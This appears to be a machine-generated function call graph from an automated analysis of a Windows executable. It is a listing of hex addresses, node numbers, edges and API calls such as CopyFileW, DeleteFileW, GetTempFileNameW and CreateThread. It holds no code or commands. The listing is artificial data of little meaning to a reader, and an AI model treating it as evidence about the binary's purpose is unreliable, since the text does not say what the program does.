93582 eeaba4 __close_nolock 47 API calls 93579->93582 93580->93573 93583 eeeaf6 GetLastError 93580->93583 93581->93530 93582->93575 93583->93573 93584->93581 93585->93515 93586->93527 93587->93530 93588->93527 93589->93518 93590->93522 93591->93527 93592->93033 93593->93040 93594->93050 93595->93050 93596->93051 93597->93064 93598->93066 93599->93062 93600->93071 93601->93072 93602->93091 93603->93089 93663 eef8a0 93604->93663 93607 ec6a63 48 API calls 93608 ec6643 93607->93608 93665 ec6571 93608->93665 93611 ec40a7 93612 eef8a0 __ftell_nolock 93611->93612 93613 ec40b4 GetLongPathNameW 93612->93613 93614 ec6a63 48 API calls 93613->93614 93615 ec40dc 93614->93615 93616 ec49a0 93615->93616 93617 ecd7f7 48 API calls 93616->93617 93618 ec49b2 93617->93618 93619 ec660f 49 API calls 93618->93619 93620 ec49bd 93619->93620 93621 ec49c8 93620->93621 93622 f32e35 93620->93622 93624 ec64cf 48 API calls 93621->93624 93626 f32e4f 93622->93626 93679 edd35e 60 API calls 93622->93679 93625 ec49d4 93624->93625 93673 ec28a6 93625->93673 93628 ec49e7 Mailbox 93628->92836 93630 ec41a9 136 API calls 93629->93630 93631 ec415e 93630->93631 93632 f33489 93631->93632 93633 ec41a9 136 API calls 93631->93633 93634 f0c396 122 API calls 93632->93634 93635 ec4172 93633->93635 93636 f3349e 93634->93636 93635->93632 93637 ec417a 93635->93637 93638 f334a2 93636->93638 93639 f334bf 93636->93639 93642 f334aa 93637->93642 93643 ec4186 93637->93643 93640 ec4252 84 API calls 93638->93640 93641 edf4ea 48 API calls 93639->93641 93640->93642 93662 f33504 Mailbox 93641->93662 93782 f06b49 87 API calls _wprintf 93642->93782 93680 ecc833 93643->93680 93646 f334b8 93646->93639 93648 f336b4 93649 ee1c9d _free 47 API calls 93648->93649 93650 f336bc 93649->93650 93651 ec4252 84 API calls 93650->93651 93656 f336c5 93651->93656 93655 ee1c9d _free 47 API calls 93655->93656 93656->93655 93658 ec4252 84 API calls 93656->93658 93786 f025b5 86 API calls 4 library calls 93656->93786 93658->93656 93659 ecce19 48 API calls 93659->93662 93662->93648 93662->93656 93662->93659 93768 ecba85 93662->93768 93776 ec4dd9 93662->93776 93783 f02551 48 API calls ___crtGetEnvironmentStringsW 93662->93783 93784 f02472 60 API calls 2 library calls 93662->93784 93785 f09c12 48 API calls 93662->93785 93664 ec661c GetFullPathNameW 93663->93664 93664->93607 93666 ec657f 93665->93666 93669 ecb18b 93666->93669 93668 ec4114 93668->93611 93670 ecb199 93669->93670 93672 ecb1a2 ___crtGetEnvironmentStringsW 93669->93672 93671 ecbdfa 48 API calls 93670->93671 93670->93672 93671->93672 93672->93668 93674 ec28b8 93673->93674 93678 ec28d7 ___crtGetEnvironmentStringsW 93673->93678 93676 edf4ea 48 API calls 93674->93676 93675 edf4ea 48 API calls 93677 ec28ee 93675->93677 93676->93678 93677->93628 93678->93675 93679->93622 93681 ecc843 __ftell_nolock 93680->93681 93682 f33095 93681->93682 93683 ecc860 93681->93683 93811 f025b5 86 API calls 4 library calls 93682->93811 93792 ec48ba 49 API calls 93683->93792 93686 f330a8 93812 f025b5 86 API calls 4 library calls 93686->93812 93687 ecc882 93793 ec4550 56 API calls 93687->93793 93689 ecc897 93689->93686 93691 ecc89f 93689->93691 93693 ecd7f7 48 API calls 93691->93693 93692 f330c4 93696 ecc90c 93692->93696 93694 ecc8ab 93693->93694 93794 ede968 49 API calls __ftell_nolock 93694->93794 93698 f330d7 93696->93698 93699 ecc91a 93696->93699 93697 ecc8b7 93700 ecd7f7 48 API calls 93697->93700 93702 ec4907 CloseHandle 93698->93702 93797 ee1dfc 93699->93797 93704 ecc8c3 93700->93704 93703 f330e3 93702->93703 93705 ec41a9 136 API calls 93703->93705 93706 ec660f 49 API calls 93704->93706 93707 f3310d 93705->93707 93708 ecc8d1 93706->93708 93710 f33136 93707->93710 93713 f0c396 122 API calls 93707->93713 93795 edeb66 SetFilePointerEx ReadFile 93708->93795 93709 ecc943 _wcscat _wcscpy 93712 ecc96d SetCurrentDirectoryW 93709->93712 93813 f025b5 86 API calls 4 library calls 93710->93813 93716 edf4ea 48 API calls 93712->93716 93717 f33129 93713->93717 93714 ecc8fd 93796 ec46ce SetFilePointerEx SetFilePointerEx 93714->93796 93720 ecc988 93716->93720 93721 f33152 93717->93721 93722 f33131 93717->93722 93719 f3314d 93752 eccad1 Mailbox 93719->93752 93723 ec47b7 48 API calls 93720->93723 93725 ec4252 84 API calls 93721->93725 93724 ec4252 84 API calls 93722->93724 93755 ecc993 Mailbox __wsetenvp 93723->93755 93724->93710 93726 f33157 93725->93726 93727 edf4ea 48 API calls 93726->93727 93734 f33194 93727->93734 93728 ecca9d 93807 ec4907 93728->93807 93732 eccaa9 SetCurrentDirectoryW 93732->93752 93733 ec3d98 93733->92697 93733->92706 93736 ecba85 48 API calls 93734->93736 93765 f331dd Mailbox 93736->93765 93738 f333ce 93818 f09b72 48 API calls 93738->93818 93739 f33467 93822 f025b5 86 API calls 4 library calls 93739->93822 93742 f33480 93742->93728 93744 f333f0 93819 f229e8 48 API calls ___crtGetEnvironmentStringsW 93744->93819 93746 f333fd 93749 ee1c9d _free 47 API calls 93746->93749 93748 f3345f 93821 f0240b 48 API calls 3 library calls 93748->93821 93749->93752 93750 ecce19 48 API calls 93750->93755 93787 ec48dd 93752->93787 93753 ecba85 48 API calls 93753->93765 93755->93728 93755->93739 93755->93748 93755->93750 93800 ecb337 56 API calls _wcscpy 93755->93800 93801 edc258 GetStringTypeW 93755->93801 93802 eccb93 59 API calls __wcsnicmp 93755->93802 93803 eccb5a GetStringTypeW __wsetenvp 93755->93803 93804 ee16d0 GetStringTypeW wcstoxq 93755->93804 93805 eccc24 162 API calls 3 library calls 93755->93805 93806 edc682 48 API calls 93755->93806 93759 ecce19 48 API calls 93759->93765 93762 f33420 93820 f025b5 86 API calls 4 library calls 93762->93820 93764 f33439 93766 ee1c9d _free 47 API calls 93764->93766 93765->93738 93765->93753 93765->93759 93765->93762 93814 f02551 48 API calls ___crtGetEnvironmentStringsW 93765->93814 93815 f02472 60 API calls 2 library calls 93765->93815 93816 f09c12 48 API calls 93765->93816 93817 edc682 48 API calls 93765->93817 93767 f3344c 93766->93767 93767->93752 93769 ecbb25 93768->93769 93774 ecba98 ___crtGetEnvironmentStringsW 93768->93774 93771 edf4ea 48 API calls 93769->93771 93770 edf4ea 48 API calls 93772 ecba9f 93770->93772 93771->93774 93773 edf4ea 48 API calls 93772->93773 93775 ecbac8 93772->93775 93773->93775 93774->93770 93775->93662 93777 ec4dec 93776->93777 93779 ec4e9a 93776->93779 93778 edf4ea 48 API calls 93777->93778 93781 ec4e1e 93777->93781 93778->93781 93779->93662 93780 edf4ea 48 API calls 93780->93781 93781->93779 93781->93780 93782->93646 93783->93662 93784->93662 93785->93662 93786->93656 93788 ec4907 CloseHandle 93787->93788 93789 ec48e5 Mailbox 93788->93789 93790 ec4907 CloseHandle 93789->93790 93791 ec48fc 93790->93791 93791->93733 93792->93687 93793->93689 93794->93697 93795->93714 93796->93696 93823 ee1e46 93797->93823 93800->93755 93801->93755 93802->93755 93803->93755 93804->93755 93805->93755 93806->93755 93808 ec4920 93807->93808 93809 ec4911 93807->93809 93808->93809 93810 ec4925 CloseHandle 93808->93810 93809->93732 93810->93809 93811->93686 93812->93692 93813->93719 93814->93765 93815->93765 93816->93765 93817->93765 93818->93744 93819->93746 93820->93764 93821->93739 93822->93742 93824 ee1e61 93823->93824 93827 ee1e55 93823->93827 93847 ee7c0e 47 API calls __getptd_noexit 93824->93847 93826 ee2019 93831 ee1e41 93826->93831 93848 ee6e10 8 API calls __mbstowcs_s_l 93826->93848 93827->93824 93835 ee1ed4 93827->93835 93842 ee9d6b 47 API calls __mbstowcs_s_l 93827->93842 93830 ee1fa0 93830->93824 93830->93831 93833 ee1fb0 93830->93833 93831->93709 93832 ee1f5f 93832->93824 93834 ee1f7b 93832->93834 93844 ee9d6b 47 API calls __mbstowcs_s_l 93832->93844 93846 ee9d6b 47 API calls __mbstowcs_s_l 93833->93846 93834->93824 93834->93831 93838 ee1f91 93834->93838 93835->93824 93841 ee1f41 93835->93841 93843 ee9d6b 47 API calls __mbstowcs_s_l 93835->93843 93845 ee9d6b 47 API calls __mbstowcs_s_l 93838->93845 93841->93830 93841->93832 93842->93835 93843->93841 93844->93834 93845->93831 93846->93831 93847->93826 93848->93831 93850 edf4ea 48 API calls 93849->93850 93851 ec6b54 93850->93851 93851->92848 93852->92847 93854 ec4c8b 93853->93854 93859 ec4d94 93853->93859 93855 edf4ea 48 API calls 93854->93855 93854->93859 93856 ec4cb2 93855->93856 93857 edf4ea 48 API calls 93856->93857 93863 ec4d22 93857->93863 93859->92853 93860 ec4dd9 48 API calls 93860->93863 93862 ecba85 48 API calls 93862->93863 93863->93859 93863->93860 93863->93862 93866 ecb470 93863->93866 93894 f09af1 48 API calls 93863->93894 93864->92855 93865->92857 93895 ec6b0f 93866->93895 93868 ecb69b 93869 ecba85 48 API calls 93868->93869 93871 ecb6b5 Mailbox 93869->93871 93871->93863 93873 ecbcce 48 API calls 93888 ecb495 93873->93888 93874 f3397b 93910 f026bc 88 API calls 4 library calls 93874->93910 93877 ecb9e4 93911 f026bc 88 API calls 4 library calls 93877->93911 93878 ecba85 48 API calls 93878->93888 93879 f33973 93879->93871 93882 f33989 93883 ecba85 48 API calls 93882->93883 93883->93879 93884 f33909 93886 ec6b4a 48 API calls 93884->93886 93887 f33914 93886->93887 93892 edf4ea 48 API calls 93887->93892 93888->93868 93888->93873 93888->93874 93888->93877 93888->93878 93888->93884 93890 ecbdfa 48 API calls 93888->93890 93893 f33939 ___crtGetEnvironmentStringsW 93888->93893 93900 ecc413 59 API calls 93888->93900 93901 ecbb85 93888->93901 93906 ecbc74 48 API calls 93888->93906 93907 ecc6a5 49 API calls 93888->93907 93908 ecc799 48 API calls ___crtGetEnvironmentStringsW 93888->93908 93891 ecb66c CharUpperBuffW 93890->93891 93891->93888 93892->93893 93909 f026bc 88 API calls 4 library calls 93893->93909 93894->93863 93896 edf4ea 48 API calls 93895->93896 93897 ec6b34 93896->93897 93898 ec6b4a 48 API calls 93897->93898 93899 ec6b43 93898->93899 93899->93888 93900->93888 93902 ecbb9b 93901->93902 93904 ecbb96 ___crtGetEnvironmentStringsW 93901->93904 93903 edee75 48 API calls 93902->93903 93905 f31b77 93902->93905 93903->93904 93904->93888 93905->93905 93906->93888 93907->93888 93908->93888 93909->93879 93910->93882 93911->93879 93913 ec403c LoadImageW 93912->93913 93914 f3418d EnumResourceNamesW 93912->93914 93915 ec3ee1 RegisterClassExW 93913->93915 93914->93915 93916 ec3f53 7 API calls 93915->93916 93916->92872 93918 ecf130 93917->93918 93921 ecfe30 335 API calls 93918->93921 93925 ecf199 93918->93925 93919 ecf3dd 93923 f387c8 93919->93923 93931 ecf3f2 93919->93931 93969 ecf431 Mailbox 93919->93969 93920 ecf595 93928 ecd7f7 48 API calls 93920->93928 93920->93969 93922 f38728 93921->93922 93922->93925 94124 f0cc5c 86 API calls 4 library calls 93922->94124 94127 f0cc5c 86 API calls 4 library calls 93923->94127 93925->93919 93925->93920 93929 ecd7f7 48 API calls 93925->93929 93961 ecf229 93925->93961 93926 ecfe30 335 API calls 93926->93969 93930 f387a3 93928->93930 93933 f38772 93929->93933 94126 ee0f0a 52 API calls __cinit 93930->94126 93960 ecf418 93931->93960 94128 f09af1 48 API calls 93931->94128 93932 f38b1b 93950 f38bcf 93932->93950 93951 f38b2c 93932->93951 94125 ee0f0a 52 API calls __cinit 93933->94125 93936 ecf770 93944 f38a45 93936->93944 93958 ecf77a 93936->93958 93938 ecd6e9 55 API calls 93938->93969 93939 f38b7e 94137 f1e40a 335 API calls Mailbox 93939->94137 93940 f38c53 94142 f0cc5c 86 API calls 4 library calls 93940->94142 93941 f38810 94129 f1eef8 335 API calls 93941->94129 93942 ecfe30 335 API calls 93962 ecf6aa 93942->93962 93943 f0cc5c 86 API calls 93943->93969 94134 edc1af 48 API calls 93944->94134 94139 f0cc5c 86 API calls 4 library calls 93950->94139 94136 f1f5ee 335 API calls 93951->94136 93952 f38beb 94140 f1bdbd 335 API calls Mailbox 93952->94140 93953 ed1b90 48 API calls 93953->93969 93956 ed1b90 48 API calls 93956->93969 93958->93953 93959 f38c00 93981 ecf537 Mailbox 93959->93981 94141 f0cc5c 86 API calls 4 library calls 93959->94141 93960->93932 93960->93962 93960->93969 93961->93919 93961->93920 93961->93960 93961->93969 93962->93936 93962->93942 93963 ecfce0 93962->93963 93962->93969 93962->93981 93963->93981 94138 f0cc5c 86 API calls 4 library calls 93963->94138 93965 f38823 93965->93960 93968 f3884b 93965->93968 94130 f1ccdc 48 API calls 93968->94130 93969->93926 93969->93938 93969->93939 93969->93940 93969->93943 93969->93952 93969->93956 93969->93963 93969->93981 94123 ecdd47 48 API calls ___crtGetEnvironmentStringsW 93969->94123 94135 ef97ed InterlockedDecrement 93969->94135 94143 edc1af 48 API calls 93969->94143 93971 f38857 93973 f38865 93971->93973 93974 f388aa 93971->93974 94131 f09b72 48 API calls 93973->94131 93978 f388a0 Mailbox 93974->93978 94132 f0a69d 48 API calls 93974->94132 93975 ecfe30 335 API calls 93975->93981 93978->93975 93979 f388e7 94133 ecbc74 48 API calls 93979->94133 93981->92934 93983 ed479f 93982->93983 93984 ed4637 93982->93984 93987 ecce19 48 API calls 93983->93987 93985 f36e05 93984->93985 93986 ed4643 93984->93986 94198 f1e822 335 API calls Mailbox 93985->94198 94197 ed4300 335 API calls ___crtGetEnvironmentStringsW 93986->94197 93994 ed46e4 Mailbox 93987->93994 93990 f36e11 93991 ed4739 Mailbox 93990->93991 94199 f0cc5c 86 API calls 4 library calls 93990->94199 93991->92934 93993 ed4659 93993->93990 93993->93991 93993->93994 93998 ec4252 84 API calls 93994->93998 94144 f16ff0 93994->94144 94153 f06524 93994->94153 94156 f0fa0c 93994->94156 93998->93991 94326 ecbd30 93999->94326 94001 ed3267 94003 ed32f8 94001->94003 94004 f3907a 94001->94004 94066 ed3628 94001->94066 94338 edc36b 86 API calls 94003->94338 94344 f0cc5c 86 API calls 4 library calls 94004->94344 94007 f394df 94007->94066 94361 f0cc5c 86 API calls 4 library calls 94007->94361 94009 ed3313 94009->94007 94047 ed34eb Mailbox ___crtGetEnvironmentStringsW 94009->94047 94009->94066 94331 ec2b7a 94009->94331 94010 edc3c3 48 API calls 94010->94047 94014 f3909a 94016 ecd645 53 API calls 94014->94016 94057 f391fa 94014->94057 94015 f3926d 94353 f0cc5c 86 API calls 4 library calls 94015->94353 94020 f3910c 94016->94020 94018 ecfe30 335 API calls 94019 f39407 94018->94019 94026 ecd6e9 55 API calls 94019->94026 94019->94066 94022 f39220 94020->94022 94023 f39114 94020->94023 94350 ec1caa 49 API calls 94022->94350 94035 f39128 94023->94035 94045 f39152 94023->94045 94025 ed33ce 94029 ed3465 94025->94029 94030 f3945e 94025->94030 94025->94047 94032 f39438 94026->94032 94037 edf4ea 48 API calls 94029->94037 94359 f0c942 50 API calls 94030->94359 94358 f0cc5c 86 API calls 4 library calls 94032->94358 94033 f3923d 94038 f39252 94033->94038 94039 f3925e 94033->94039 94034 ecfe30 335 API calls 94034->94047 94345 f0cc5c 86 API calls 4 library calls 94035->94345 94050 ed346c 94037->94050 94351 f0cc5c 86 API calls 4 library calls 94038->94351 94352 f0cc5c 86 API calls 4 library calls 94039->94352 94041 edf4ea 48 API calls 94041->94047 94048 f39177 94045->94048 94052 f39195 94045->94052 94046 ed351f 94058 ec6eed 48 API calls 94046->94058 94059 ed3540 94046->94059 94047->94010 94047->94014 94047->94015 94047->94032 94047->94034 94047->94041 94047->94046 94060 f39394 94047->94060 94064 f393c5 94047->94064 94047->94066 94340 ecd9a0 53 API calls __cinit 94047->94340 94341 ecd8c0 53 API calls 94047->94341 94342 edc2d6 48 API calls ___crtGetEnvironmentStringsW 94047->94342 94354 f1cda2 82 API calls Mailbox 94047->94354 94355 f080e3 53 API calls 94047->94355 94356 ecd764 55 API calls 94047->94356 94357 ecdcae 50 API calls Mailbox 94047->94357 94346 f1f320 335 API calls 94048->94346 94050->94046 94053 ece8d0 335 API calls 94050->94053 94055 f3918b 94052->94055 94347 f1f5ee 335 API calls 94052->94347 94053->94047 94055->94066 94348 edc2d6 48 API calls ___crtGetEnvironmentStringsW 94055->94348 94349 f0cc5c 86 API calls 4 library calls 94057->94349 94058->94059 94063 f394b0 94059->94063 94059->94066 94069 ed3585 94059->94069 94062 edf4ea 48 API calls 94060->94062 94062->94064 94360 ecdcae 50 API calls Mailbox 94063->94360 94064->94018 94070 ed3635 Mailbox 94066->94070 94343 f0cc5c 86 API calls 4 library calls 94066->94343 94067 ed3615 94339 ecdcae 50 API calls Mailbox 94067->94339 94069->94007 94069->94066 94069->94067 94070->92934 94073 f3df42 94071->94073 94075 ede253 94071->94075 94072 f3df77 94073->94072 94074 f3df59 TranslateAcceleratorW 94073->94074 94074->94075 94075->92934 94077 eddca3 94076->94077 94078 eddc71 94076->94078 94077->92934 94078->94077 94079 eddc96 IsDialogMessageW 94078->94079 94080 f3dd1d GetClassLongW 94078->94080 94079->94077 94079->94078 94080->94078 94080->94079 94081->92934 94082->92934 94083->92888 94084->92881 94085->92885 94086->92934 94087->92934 94088->92927 94089->92927 94090->92927 94092 ecfe50 94091->94092 94118 ecfe7e 94091->94118 94094 edf4ea 48 API calls 94092->94094 94093 ee0f0a 52 API calls __cinit 94093->94118 94094->94118 94095 ed1473 94367 f0cc5c 86 API calls 4 library calls 94095->94367 94096 ed146e 94097 ec6eed 48 API calls 94096->94097 94098 ecffe1 94097->94098 94098->92934 94099 ef97ed InterlockedDecrement 94099->94118 94102 edf4ea 48 API calls 94102->94118 94104 ed0509 94368 f0cc5c 86 API calls 4 library calls 94104->94368 94105 f3a922 94105->92934 94106 f3a246 94110 ec6eed 48 API calls 94106->94110 94109 ec6eed 48 API calls 94109->94118 94110->94098 94111 f3a873 94111->92934 94112 ecd7f7 48 API calls 94112->94118 94113 f3a30e 94113->94098 94365 ef97ed InterlockedDecrement 94113->94365 94115 f3a973 94369 f0cc5c 86 API calls 4 library calls 94115->94369 94117 f3a982 94118->94093 94118->94095 94118->94096 94118->94098 94118->94099 94118->94102 94118->94104 94118->94106 94118->94109 94118->94112 94118->94113 94118->94115 94119 ed15b5 94118->94119 94363 ed1820 335 API calls 2 library calls 94118->94363 94364 ed1d10 59 API calls Mailbox 94118->94364 94366 f0cc5c 86 API calls 4 library calls 94119->94366 94120->92927 94121->92927 94122->92927 94123->93969 94124->93925 94125->93961 94126->93969 94127->93981 94128->93941 94129->93965 94130->93971 94131->93978 94132->93979 94133->93978 94134->93969 94135->93969 94136->93969 94137->93963 94138->93981 94139->93981 94140->93959 94141->93981 94142->93981 94143->93969 94200 ec936c 94144->94200 94146 f1702a 94147 ecb470 91 API calls 94146->94147 94148 f1703a 94147->94148 94149 f1705f 94148->94149 94150 ecfe30 335 API calls 94148->94150 94152 f17063 94149->94152 94220 eccdb9 48 API calls 94149->94220 94150->94149 94152->93991 94223 f06ca9 GetFileAttributesW 94153->94223 94157 f0fa1c __ftell_nolock 94156->94157 94158 f0fa44 94157->94158 94288 ecd286 48 API calls 94157->94288 94160 ec936c 81 API calls 94158->94160 94161 f0fa5e 94160->94161 94162 f0fa80 94161->94162 94163 f0fb68 94161->94163 94175 f0fb92 94161->94175 94164 ec936c 81 API calls 94162->94164 94165 ec41a9 136 API calls 94163->94165 94166 f0fa8c _wcscpy _wcschr 94164->94166 94167 f0fb79 94165->94167 94176 f0fab0 _wcscat _wcscpy 94166->94176 94180 f0fade _wcscat 94166->94180 94168 ec41a9 136 API calls 94167->94168 94170 f0fb8e 94167->94170 94168->94170 94169 ec936c 81 API calls 94171 f0fbc7 94169->94171 94170->94169 94170->94175 94172 ee1dfc __wsplitpath 47 API calls 94171->94172 94181 f0fbeb _wcscat _wcscpy 94172->94181 94173 ec936c 81 API calls 94174 f0fafc _wcscpy 94173->94174 94289 f072cb GetFileAttributesW 94174->94289 94175->93991 94178 ec936c 81 API calls 94176->94178 94178->94180 94179 f0fb1c __wsetenvp 94179->94175 94182 ec936c 81 API calls 94179->94182 94180->94173 94184 ec936c 81 API calls 94181->94184 94183 f0fb48 94182->94183 94290 f060dd 77 API calls 4 library calls 94183->94290 94187 f0fc82 94184->94187 94186 f0fb5c 94186->94175 94227 f0690b 94187->94227 94189 f0fca2 94190 f06524 3 API calls 94189->94190 94191 f0fcb1 94190->94191 94192 ec936c 81 API calls 94191->94192 94194 f0fce2 94191->94194 94193 f0fccb 94192->94193 94233 f0bfa4 94193->94233 94196 ec4252 84 API calls 94194->94196 94196->94175 94197->93993 94198->93990 94199->93991 94201 ec9384 94200->94201 94218 ec9380 94200->94218 94202 ec93b0 __itow Mailbox _wcscpy 94201->94202 94203 f34cbd __i64tow 94201->94203 94204 ec9398 94201->94204 94205 f34bbf 94201->94205 94210 edf4ea 48 API calls 94202->94210 94221 ee172b 80 API calls 3 library calls 94204->94221 94206 f34ca5 94205->94206 94207 f34bc8 94205->94207 94222 ee172b 80 API calls 3 library calls 94206->94222 94207->94202 94212 f34be7 94207->94212 94211 ec93ba 94210->94211 94214 ecce19 48 API calls 94211->94214 94211->94218 94213 edf4ea 48 API calls 94212->94213 94216 f34c04 94213->94216 94214->94218 94215 edf4ea 48 API calls 94217 f34c2a 94215->94217 94216->94215 94217->94218 94219 ecce19 48 API calls 94217->94219 94218->94146 94219->94218 94220->94152 94221->94202 94222->94202 94224 f06cc4 FindFirstFileW 94223->94224 94225 f06529 94223->94225 94224->94225 94226 f06cd9 FindClose 94224->94226 94225->93991 94226->94225 94228 f06918 _wcschr __ftell_nolock 94227->94228 94229 ee1dfc __wsplitpath 47 API calls 94228->94229 94232 f0692e _wcscat _wcscpy 94228->94232 94230 f0695d 94229->94230 94231 ee1dfc __wsplitpath 47 API calls 94230->94231 94231->94232 94232->94189 94234 f0bfb1 __ftell_nolock 94233->94234 94235 edf4ea 48 API calls 94234->94235 94236 f0c00e 94235->94236 94237 ec47b7 48 API calls 94236->94237 94238 f0c018 94237->94238 94239 f0bdb4 GetSystemTimeAsFileTime 94238->94239 94240 f0c023 94239->94240 94241 ec4517 83 API calls 94240->94241 94242 f0c036 _wcscmp 94241->94242 94243 f0c107 94242->94243 94244 f0c05a 94242->94244 94245 f0c56d 94 API calls 94243->94245 94246 f0c56d 94 API calls 94244->94246 94247 f0c0d3 _wcscat 94245->94247 94248 f0c05f 94246->94248 94250 ec44ed 64 API calls 94247->94250 94271 f0c110 94247->94271 94249 ee1dfc __wsplitpath 47 API calls 94248->94249 94248->94271 94254 f0c088 _wcscat _wcscpy 94249->94254 94251 f0c12c 94250->94251 94252 ec44ed 64 API calls 94251->94252 94253 f0c13c 94252->94253 94255 ec44ed 64 API calls 94253->94255 94256 ee1dfc __wsplitpath 47 API calls 94254->94256 94257 f0c157 94255->94257 94256->94247 94258 ec44ed 64 API calls 94257->94258 94259 f0c167 94258->94259 94260 ec44ed 64 API calls 94259->94260 94261 f0c182 94260->94261 94262 ec44ed 64 API calls 94261->94262 94263 f0c192 94262->94263 94264 ec44ed 64 API calls 94263->94264 94265 f0c1a2 94264->94265 94266 ec44ed 64 API calls 94265->94266 94267 f0c1b2 94266->94267 94291 f0c71a GetTempPathW GetTempFileNameW 94267->94291 94269 f0c1be 94270 ee3499 117 API calls 94269->94270 94282 f0c1cf 94270->94282 94271->94194 94272 f0c289 94273 ee35e4 __fcloseall 83 API calls 94272->94273 94274 f0c294 94273->94274 94276 f0c29a DeleteFileW 94274->94276 94277 f0c2ae 94274->94277 94275 ec44ed 64 API calls 94275->94282 94276->94271 94278 f0c342 CopyFileW 94277->94278 94283 f0c2b8 94277->94283 94279 f0c358 DeleteFileW 94278->94279 94280 f0c36a DeleteFileW 94278->94280 94279->94271 94305 f0c6d9 CreateFileW 94280->94305 94282->94271 94282->94272 94282->94275 94292 ee2aae 94282->94292 94285 f0b965 118 API calls 94283->94285 94286 f0c32d 94285->94286 94286->94280 94287 f0c331 DeleteFileW 94286->94287 94287->94271 94288->94158 94289->94179 94290->94186 94291->94269 94293 ee2aba __fcloseall 94292->94293 94294 ee2aec 94293->94294 94295 ee2ad4 94293->94295 94296 ee2ae4 __fcloseall 94293->94296 94297 ee4e1c __lock_file 48 API calls 94294->94297 94320 ee7c0e 47 API calls __getptd_noexit 94295->94320 94296->94282 94299 ee2af2 94297->94299 94308 ee2957 94299->94308 94300 ee2ad9 94321 ee6e10 8 API calls __mbstowcs_s_l 94300->94321 94306 f0c715 94305->94306 94307 f0c6ff SetFileTime CloseHandle 94305->94307 94306->94271 94307->94306 94309 ee2984 94308->94309 94311 ee2966 94308->94311 94322 ee2b24 LeaveCriticalSection LeaveCriticalSection _fprintf 94309->94322 94310 ee2974 94323 ee7c0e 47 API calls __getptd_noexit 94310->94323 94311->94309 94311->94310 94319 ee299c ___crtGetEnvironmentStringsW 94311->94319 94313 ee2979 94324 ee6e10 8 API calls __mbstowcs_s_l 94313->94324 94316 ee2c84 __flush 78 API calls 94316->94319 94317 ee2933 __flush 47 API calls 94317->94319 94318 eeaf61 __flush 78 API calls 94318->94319 94319->94309 94319->94316 94319->94317 94319->94318 94325 ee8e63 78 API calls 5 library calls 94319->94325 94320->94300 94321->94296 94322->94296 94323->94313 94324->94309 94325->94319 94327 ecbd3f 94326->94327 94330 ecbd5a 94326->94330 94328 ecbdfa 48 API calls 94327->94328 94329 ecbd47 CharUpperBuffW 94328->94329 94329->94330 94330->94001 94332 ec2b8b 94331->94332 94333 f3436a 94331->94333 94334 edf4ea 48 API calls 94332->94334 94335 ec2b92 94334->94335 94336 ec2bb3 94335->94336 94362 ec2bce 48 API calls 94335->94362 94336->94025 94338->94009 94339->94066 94340->94047 94341->94047 94342->94047 94343->94070 94344->94009 94345->94066 94346->94055 94347->94055 94348->94057 94349->94066 94350->94033 94351->94066 94352->94066 94353->94066 94354->94047 94355->94047 94356->94047 94357->94047 94358->94066 94359->94046 94360->94007 94361->94066 94362->94336 94363->94118 94364->94118 94365->94098 94366->94098 94367->94111 94368->94105 94369->94117 94371 ec513f __wsetenvp 94370->94371 94372 f31b27 94371->94372 94373 ec5151 94371->94373 94375 ec6b4a 48 API calls 94372->94375 94374 ecbb85 48 API calls 94373->94374 94377 ec515e ___crtGetEnvironmentStringsW 94374->94377 94376 f31b34 94375->94376 94378 edee75 48 API calls 94376->94378 94377->92958 94379 f31b57 ___crtGetEnvironmentStringsW 94378->94379 94381 ecb392 94380->94381 94386 ecb3c5 ___crtGetEnvironmentStringsW 94380->94386 94382 ecb3fd 94381->94382 94383 ecb3b8 94381->94383 94381->94386 94385 edf4ea 48 API calls 94382->94385 94384 ecbb85 48 API calls 94383->94384 94384->94386 94387 ecb407 94385->94387 94386->92967 94388 edf4ea 48 API calls 94387->94388 94388->94386 94389->92968 94390 f39c06 94401 edd3be 94390->94401 94392 f39c1c 94393 f39c91 Mailbox 94392->94393 94410 ec1caa 49 API calls 94392->94410 94395 ed3200 335 API calls 94393->94395 94399 f39cc5 94395->94399 94397 f39c71 94397->94399 94411 f0b171 48 API calls 94397->94411 94400 f3a7ab Mailbox 94399->94400 94412 f0cc5c 86 API calls 4 library calls 94399->94412 94402 edd3dc 94401->94402 94403 edd3ca 94401->94403 94405 edd40b 94402->94405 94406 edd3e2 94402->94406 94413 ecdcae 50 API calls Mailbox 94403->94413 94414 ecdcae 50 API calls Mailbox 94405->94414 94407 edf4ea 48 API calls 94406->94407 94409 edd3d4 94407->94409 94409->94392 94410->94397 94411->94393 94412->94400 94413->94409 94414->94409 94415 f319cb 94420 ec2322 94415->94420 94417 f319d1 94453 ee0f0a 52 API calls __cinit 94417->94453 94419 f319db 94421 ec2344 94420->94421 94454 ec26df 94421->94454 94426 ecd7f7 48 API calls 94427 ec2384 94426->94427 94428 ecd7f7 48 API calls 94427->94428 94429 ec238e 94428->94429 94430 ecd7f7 48 API calls 94429->94430 94431 ec2398 94430->94431 94432 ecd7f7 48 API calls 94431->94432 94433 ec23de 94432->94433 94434 ecd7f7 48 API calls 94433->94434 94435 ec24c1 94434->94435 94462 ec263f 94435->94462 94439 ec24f1 94440 ecd7f7 48 API calls 94439->94440 94441 ec24fb 94440->94441 94491 ec2745 94441->94491 94443 ec2546 94444 ec2556 GetStdHandle 94443->94444 94445 ec25b1 94444->94445 94446 f3501d 94444->94446 94447 ec25b7 CoInitialize 94445->94447 94446->94445 94448 f35026 94446->94448 94447->94417 94498 f092d4 53 API calls 94448->94498 94450 f3502d 94499 f099f9 CreateThread 94450->94499 94452 f35039 CloseHandle 94452->94447 94453->94419 94500 ec2854 94454->94500 94457 ec6a63 48 API calls 94458 ec234a 94457->94458 94459 ec272e 94458->94459 94514 ec27ec 6 API calls 94459->94514 94461 ec237a 94461->94426 94463 ecd7f7 48 API calls 94462->94463 94464 ec264f 94463->94464 94465 ecd7f7 48 API calls 94464->94465 94466 ec2657 94465->94466 94515 ec26a7 94466->94515 94469 ec26a7 48 API calls 94470 ec2667 94469->94470 94471 ecd7f7 48 API calls 94470->94471 94472 ec2672 94471->94472 94473 edf4ea 48 API calls 94472->94473 94474 ec24cb 94473->94474 94475 ec22a4 94474->94475 94476 ec22b2 94475->94476 94477 ecd7f7 48 API calls 94476->94477 94478 ec22bd 94477->94478 94479 ecd7f7 48 API calls 94478->94479 94480 ec22c8 94479->94480 94481 ecd7f7 48 API calls 94480->94481 94482 ec22d3 94481->94482 94483 ecd7f7 48 API calls 94482->94483 94484 ec22de 94483->94484 94485 ec26a7 48 API calls 94484->94485 94486 ec22e9 94485->94486 94487 edf4ea 48 API calls 94486->94487 94488 